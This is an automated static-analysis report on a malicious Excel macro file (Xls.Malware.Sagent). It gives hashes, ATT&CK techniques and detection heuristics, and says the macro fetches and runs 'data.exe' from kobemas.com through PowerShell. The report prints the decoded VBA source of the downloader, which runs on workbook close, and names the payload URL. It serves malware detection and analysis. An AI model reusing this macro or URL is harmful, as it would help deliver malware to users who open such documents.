Xls.Malware.Sagent-10035294-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 42f4b898bfe7d71c…

MALICIOUS

Office (OOXML)

81.3 KB First seen: 2021-10-01
MD5: 0c678ccad4ab0c7fd3fd9f1a29082d0e SHA-1: b1c7413f1fcc55c3e16bb3f578543dbdd817d428 SHA-256: 42f4b898bfe7d71c0c75e9dfe68426e765a044f7dfb01763e7196eb609126dd6
222 Risk Score

Malware Insights

Xls.Malware.Sagent-10035294-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros that leverage the CreateObject function to execute a PowerShell command. This command downloads a second-stage executable from 'https://kobemas.com/data.exe' and saves it as 'C:\Users\Public\aqddkddzv.exe', then executes it. This indicates a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://kobemas.com/data.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1310 bytes
SHA-256: db5ca08ecec626ddccac285b9daf08eb004e2350d72559067ee3c727769a24da
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Range("A1:J15").Select
Selection.Font.Bold = True
Selection.Font.Italic = True
Selection.Font.Underline = xlUnderlineStyleSingle
wjvaxudypngmffyzsdymsxbeh = Range("A3").Value
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.WrapText = False
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = False
End With
Range("M5").Select
Set sybkmjmmjkpieiwgynbsjmaep  = CreateObject(Range("A4").Value)
Dim xenogzdefqjwcpyvsfcpjnrbe
xenogzdefqjwcpyvsfcpjnrbe = sybkmjmmjkpieiwgynbsjmaep.Create(wjvaxudypngmffyzsdymsxbeh)
End Sub

Attribute VB_Name = "lheqogmaowrmjntrwsgkyarpl"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 627299891099d0782030b015431ac0a39e38d8482e2665306a842f0e69655f7a
Detection
ClamAV: Xls.Malware.Sagent-10035294-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.